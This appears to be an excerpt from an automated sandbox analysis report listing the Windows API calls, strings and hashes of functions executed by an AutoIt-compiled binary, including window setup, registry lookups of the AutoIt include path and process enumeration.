                                            Executed Functions

                                            Function 00325240 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 147windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 0032526C
                                            • IsDebuggerPresent.KERNEL32 ref: 0032527E
                                            • GetFullPathNameW.KERNEL32(00007FFF,?,?), ref: 003252E6
                                              • Part of subcall function 00321821: _memmove.LIBCMT ref: 0032185B
                                              • Part of subcall function 0031BBC6: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 0031BC07
                                            • SetCurrentDirectoryW.KERNEL32(?), ref: 00325366
                                            • MessageBoxA.USER32(00000000,It is a violation of the AutoIt EULA to attempt to reverse engineer this program.,AutoIt,00000010), ref: 00360B2E
                                            • SetCurrentDirectoryW.KERNEL32(?), ref: 00360B66
                                            • GetForegroundWindow.USER32(runas,?,?,?,00000001,?,003C6D10), ref: 00360BE9
                                            • ShellExecuteW.SHELL32(00000000), ref: 00360BF0
                                              • Part of subcall function 0032514C: GetSysColorBrush.USER32(0000000F), ref: 00325156
                                              • Part of subcall function 0032514C: LoadCursorW.USER32(00000000,00007F00), ref: 00325165
                                              • Part of subcall function 0032514C: LoadIconW.USER32(00000063), ref: 0032517C
                                              • Part of subcall function 0032514C: LoadIconW.USER32(000000A4), ref: 0032518E
                                              • Part of subcall function 0032514C: LoadIconW.USER32(000000A2), ref: 003251A0
                                              • Part of subcall function 0032514C: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 003251C6
                                              • Part of subcall function 0032514C: RegisterClassExW.USER32(?), ref: 0032521C
                                              • Part of subcall function 003250DB: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00325109
                                              • Part of subcall function 003250DB: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 0032512A
                                              • Part of subcall function 003250DB: ShowWindow.USER32(00000000), ref: 0032513E
                                              • Part of subcall function 003250DB: ShowWindow.USER32(00000000), ref: 00325147
                                              • Part of subcall function 003259D3: _memset.LIBCMT ref: 003259F9
                                              • Part of subcall function 003259D3: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00325A9E
                                            Strings
                                            • runas, xrefs: 00360BE4
                                            • AutoIt, xrefs: 00360B23
                                            • It is a violation of the AutoIt EULA to attempt to reverse engineer this program., xrefs: 00360B28
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
                                            • String ID: AutoIt$It is a violation of the AutoIt EULA to attempt to reverse engineer this program.$runas
                                            • API String ID: 529118366-2030392706
                                            • Opcode ID: b5070c9bd8cad8e2909768aa2b036daaf0efccf8acae2aa4e4e249ab73fade8b
                                            • Instruction ID: f260e0ef7720da80b2601da27cca13b633afb6ea50df0261a14ed8661f2b430c
                                            • Opcode Fuzzy Hash: b5070c9bd8cad8e2909768aa2b036daaf0efccf8acae2aa4e4e249ab73fade8b
                                            • Instruction Fuzzy Hash: C9515C35945298AACF07FBB0FC06EFE7B7CAF19340F104456F551AA1A2DB705A45C721
                                            Function 00325D13 Relevance: 10.7, APIs: 7, Instructions: 223COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetVersionExW.KERNEL32(?), ref: 00325D40
                                              • Part of subcall function 00321821: _memmove.LIBCMT ref: 0032185B
                                            • GetCurrentProcess.KERNEL32(?,003A0A18,00000000,00000000,?), ref: 00325E07
                                            • IsWow64Process.KERNEL32(00000000), ref: 00325E0E
                                            • GetNativeSystemInfo.KERNELBASE(00000000), ref: 00325E54
                                            • FreeLibrary.KERNEL32(00000000), ref: 00325E5F
                                            • GetSystemInfo.KERNEL32(00000000), ref: 00325E90
                                            • GetSystemInfo.KERNEL32(00000000), ref: 00325E9C
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
                                            • String ID:
                                            • API String ID: 1986165174-0
                                            • Opcode ID: a8e6600f0d230e57305e20e9f122d8cbdbfc1b930a8aad14af9cc0ae3b62c0b0
                                            • Instruction ID: 8c7959953afc5059fe60496b4753489911f8378338afc706c8ac4095206d2327
                                            • Opcode Fuzzy Hash: a8e6600f0d230e57305e20e9f122d8cbdbfc1b930a8aad14af9cc0ae3b62c0b0
                                            • Instruction Fuzzy Hash: 7191B331549BD0DECB33CB68A4515EBFFE5AF3A300B894A5ED0C797A01D230A648C769
                                            Function 00374148 Relevance: 6.1, APIs: 4, Instructions: 85processCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateToolhelp32Snapshot.KERNEL32 ref: 0037416D
                                            • Process32FirstW.KERNEL32(00000000,?), ref: 0037417B
                                            • Process32NextW.KERNEL32(00000000,?), ref: 0037419B
                                            • FindCloseChangeNotification.KERNELBASE(00000000), ref: 00374245
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32
                                            • String ID:
                                            • API String ID: 3243318325-0
                                            • Opcode ID: ed87d4dadb0ccd12879f5173339c8e8449f6d3db4f98cd3b523b6cd967ea31bc
                                            • Instruction ID: f3fc8f70dda1c51f1bb39ebeccbc6572e3a7cdd35bd0d8f8f5472867275b016b
                                            • Opcode Fuzzy Hash: ed87d4dadb0ccd12879f5173339c8e8449f6d3db4f98cd3b523b6cd967ea31bc
                                            • Instruction Fuzzy Hash: 5731C5711083519FD316EF50E885AAFBBE8FFA5350F10092DF585C61A1EB70AA49CB92
                                            Function 0031B020 Relevance: 5.6, APIs: 3, Instructions: 1146COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00323740: CharUpperBuffW.USER32(?,003D71DC,00000001,?,00000000,003D71DC,?,003153A5,?,?,?,?), ref: 0032375D
                                            • _memmove.LIBCMT ref: 0031B68A
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: BuffCharUpper_memmove
                                            • String ID:
                                            • API String ID: 2819905725-0
                                            • Opcode ID: 14369fcbced130a19b7f88e48ea01c8870926076adecde11302613cafeceaf97
                                            • Instruction ID: 9d1c3062f0e73acb96a0a7e661c9e0a3dba207261c1f8f88dd1963497e5f2d8d
                                            • Opcode Fuzzy Hash: 14369fcbced130a19b7f88e48ea01c8870926076adecde11302613cafeceaf97
                                            • Instruction Fuzzy Hash: B9A29B746083418FC72ACF24C480BAAF7E5BF89344F15895DE89A8B761D770ED85CB92
                                            Function 003194E0 Relevance: 3.5, APIs: 2, Instructions: 539COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: b0f48bb74ecfe69f6184e21c6e90cf65fb1428f030c58501f20fa57f73e577b7
                                            • Instruction ID: 26af70e4f8fac4c6b0761d139c425b401d3e90b5f108dcaee2e4016691925b7e
                                            • Opcode Fuzzy Hash: b0f48bb74ecfe69f6184e21c6e90cf65fb1428f030c58501f20fa57f73e577b7
                                            • Instruction Fuzzy Hash: A522CE74A04206CFDB2ADF54C4A0BEEB7B5FF49310F15816AE846AB351E334AD85CB91
                                            Function 0031BC70 Relevance: 50.4, APIs: 22, Strings: 6, Instructions: 1379sleeptimeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • timeGetTime.WINMM ref: 0031BF57
                                              • Part of subcall function 003152B0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 003152E6
                                            • Sleep.KERNEL32(0000000A,?,?), ref: 003536B5
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: MessagePeekSleepTimetime
                                            • String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID$CALL
                                            • API String ID: 1792118007-922114024
                                            • Opcode ID: eb2b113e59aee0d29c51e5c3834eac3c7e70b1e4273655980d0b9a11a205fe40
                                            • Instruction ID: e92849b9500da56db320938e4c6b1e4dda9fe49ee3bd6a03a206818ff0fd6457
                                            • Opcode Fuzzy Hash: eb2b113e59aee0d29c51e5c3834eac3c7e70b1e4273655980d0b9a11a205fe40
                                            • Instruction Fuzzy Hash: 2AC29370608341DFD72ADF24C885FAAB7E4FF88344F15491DE88A8B261D771E989CB52
                                            Function 003133E7 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 74windowregistryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetSysColorBrush.USER32(0000000F), ref: 00313444
                                            • RegisterClassExW.USER32(00000030), ref: 0031346E
                                            • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 0031347F
                                            • InitCommonControlsEx.COMCTL32(?), ref: 0031349C
                                            • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 003134AC
                                            • LoadIconW.USER32(000000A9), ref: 003134C2
                                            • ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 003134D1
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                            • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                            • API String ID: 2914291525-1005189915
                                            • Opcode ID: 05abe7cad01942f3290925239ce0d5c3908238ba4f2621ce6d9e6d03d202f1b1
                                            • Instruction ID: 3248df531e7e00d12463ab08d3db4a4f31a4e384728e8602dade39527a36fe39
                                            • Opcode Fuzzy Hash: 05abe7cad01942f3290925239ce0d5c3908238ba4f2621ce6d9e6d03d202f1b1
                                            • Instruction Fuzzy Hash: 58314871845309AFDB42CFA4EC89BCDBBF8FB0A310F10411AE580E62A0E3B61581DF50
                                            Function 00313411 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54windowregistryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetSysColorBrush.USER32(0000000F), ref: 00313444
                                            • RegisterClassExW.USER32(00000030), ref: 0031346E
                                            • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 0031347F
                                            • InitCommonControlsEx.COMCTL32(?), ref: 0031349C
                                            • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 003134AC
                                            • LoadIconW.USER32(000000A9), ref: 003134C2
                                            • ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 003134D1
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                            • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                            • API String ID: 2914291525-1005189915
                                            • Opcode ID: 8faae9d23bee983dd3628c9af522d25f2e8f806cb4e17269aae0fa31e6817329
                                            • Instruction ID: 39bd86c8ba029516feeca1e9bd745e3ac5cd29074bdb733d1652198546459e7e
                                            • Opcode Fuzzy Hash: 8faae9d23bee983dd3628c9af522d25f2e8f806cb4e17269aae0fa31e6817329
                                            • Instruction Fuzzy Hash: 9421E3B1905318AFDB06DFA4EC89BDDBBF8FB09700F00411AF910A62A0E7B11544DF91
                                            Function 00322FC5 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201registryCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 003300CF: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,?,?,00323094), ref: 003300ED
                                              • Part of subcall function 003308C1: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,0032309F), ref: 003308E3
                                            • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 003230E2
                                            • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 003601BA
                                            • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 003601FB
                                            • RegCloseKey.ADVAPI32(?), ref: 00360239
                                            • _wcscat.LIBCMT ref: 00360292
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
                                            • String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
                                            • API String ID: 2673923337-2727554177
                                            • Opcode ID: 4c40bc9acfeeec4df3c83b959cd49521ae20e23694b8e711652f739fc2a14b18
                                            • Instruction ID: 14971a2afc73463b06d8bf2b8707277e57557cb06a9fdf554633dd008e0d04a4
                                            • Opcode Fuzzy Hash: 4c40bc9acfeeec4df3c83b959cd49521ae20e23694b8e711652f739fc2a14b18
                                            • Instruction Fuzzy Hash: 30715D7140A7119EC307EF65E8929ABBBECFF55340F40492EF445872A0EF30A944CB91
                                            Function 0032514C Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71windowregistryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetSysColorBrush.USER32(0000000F), ref: 00325156
                                            • LoadCursorW.USER32(00000000,00007F00), ref: 00325165
                                            • LoadIconW.USER32(00000063), ref: 0032517C
                                            • LoadIconW.USER32(000000A4), ref: 0032518E
                                            • LoadIconW.USER32(000000A2), ref: 003251A0
                                            • LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 003251C6
                                            • RegisterClassExW.USER32(?), ref: 0032521C
                                              • Part of subcall function 00313411: GetSysColorBrush.USER32(0000000F), ref: 00313444
                                              • Part of subcall function 00313411: RegisterClassExW.USER32(00000030), ref: 0031346E
                                              • Part of subcall function 00313411: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 0031347F
                                              • Part of subcall function 00313411: InitCommonControlsEx.COMCTL32(?), ref: 0031349C
                                              • Part of subcall function 00313411: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 003134AC
                                              • Part of subcall function 00313411: LoadIconW.USER32(000000A9), ref: 003134C2
                                              • Part of subcall function 00313411: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 003134D1
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                            • String ID: #$0$AutoIt v3
                                            • API String ID: 423443420-4155596026
                                            • Opcode ID: 1ff27740e0a697436b4eb6afd2363a01d59796c3e2c6d1ecea212fd92f2848c0
                                            • Instruction ID: 5c3b04f743d9db9e6d5f7dd7ea1bde865b5a8f8978b8525fe87a29d2643c867a
                                            • Opcode Fuzzy Hash: 1ff27740e0a697436b4eb6afd2363a01d59796c3e2c6d1ecea212fd92f2848c0
                                            • Instruction Fuzzy Hash: 2C216B70D06358AFEB169FA4FD09B9D7FB8FB08311F00455AF504A62A0E7B65650CF84
                                            Function 00324D83 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151windowtimeregistryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • DefWindowProcW.USER32(?,?,?,?), ref: 00324E22
                                            • KillTimer.USER32(?,00000001), ref: 00324E4C
                                            • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00324E6F
                                            • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00324E7A
                                            • CreatePopupMenu.USER32 ref: 00324E8E
                                            • PostQuitMessage.USER32(00000000), ref: 00324EAF
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
                                            • String ID: TaskbarCreated
                                            • API String ID: 129472671-2362178303
                                            • Opcode ID: 24e8ad22efe4ed7f31f01d5285ec85460884b404768db57220aec2b98a2d7a98
                                            • Instruction ID: dfbd0108dd48a16df35648785bb233a9f723b300537a50e6298370ee8349c272
                                            • Opcode Fuzzy Hash: 24e8ad22efe4ed7f31f01d5285ec85460884b404768db57220aec2b98a2d7a98
                                            • Instruction Fuzzy Hash: F5414971248266ABFB1B5F24FC0AB7E779DF745300F020526F902966A2EB719C50A771
                                            Function 0031AD98 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON
                                            Download Yara Rule
                                            APIs
                                            • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 0031ADE1
                                            • OleUninitialize.OLE32(?,00000000), ref: 0031AE80
                                            • UnregisterHotKey.USER32(?), ref: 0031AFD7
                                            • DestroyWindow.USER32(?), ref: 00352F64
                                            • FreeLibrary.KERNEL32(?), ref: 00352FC9
                                            • VirtualFree.KERNEL32(?,00000000,00008000), ref: 00352FF6
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
                                            • String ID: close all
                                            • API String ID: 469580280-3243417748
                                            • Opcode ID: 6344ca0a7ae262a5bcf49b42fd5f4bdfbba878d28c6ce87a00f885a9e8136048
                                            • Instruction ID: b90a9c491c380df7b8d063eb0680fe516770b8334d1c6d293caeeadf3791b9e4
                                            • Opcode Fuzzy Hash: 6344ca0a7ae262a5bcf49b42fd5f4bdfbba878d28c6ce87a00f885a9e8136048
                                            • Instruction Fuzzy Hash: 73A15E747022228FCB2BEF14D995E69F364BF05741F1142ADE80AAB261CB31AD56CF91
                                            Function 003256F8 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00360C5B
                                              • Part of subcall function 00321821: _memmove.LIBCMT ref: 0032185B
                                            • _memset.LIBCMT ref: 00325787
                                            • _wcscpy.LIBCMT ref: 003257DB
                                            • Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 003257EB
                                            • __swprintf.LIBCMT ref: 00360CD1
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: IconLoadNotifyShell_String__swprintf_memmove_memset_wcscpy
                                            • String ID: Line %d: $AutoIt -
                                            • API String ID: 230667853-4094128768
                                            • Opcode ID: 850efe6f945e82ebf6fde178be26d1bd86a51ecf2297031665404429284e931b
                                            • Instruction ID: 25a24e62cdf5a0ba55cd76ce85e4dabd96d35b2f70cc622dfbe24423d858a3ae
                                            • Opcode Fuzzy Hash: 850efe6f945e82ebf6fde178be26d1bd86a51ecf2297031665404429284e931b
                                            • Instruction Fuzzy Hash: 4741C571008314AAC327EB64ED86FEF77ECAF54350F004A1EF585960A2EB349648C796
                                            Function 00377681 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • InterlockedExchange.KERNEL32(?,000001F5), ref: 00377698
                                              • Part of subcall function 00330FE6: std::exception::exception.LIBCMT ref: 0033101C
                                              • Part of subcall function 00330FE6: __CxxThrowException@8.LIBCMT ref: 00331031
                                            • ReadFile.KERNELBASE(0000FFFF,00000000,0000FFFF,?,00000000), ref: 003776CF
                                            • EnterCriticalSection.KERNEL32(?), ref: 003776EB
                                            • _memmove.LIBCMT ref: 00377739
                                            • _memmove.LIBCMT ref: 00377756
                                            • LeaveCriticalSection.KERNEL32(?), ref: 00377765
                                            • ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 0037777A
                                            • InterlockedExchange.KERNEL32(?,000001F6), ref: 00377799
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
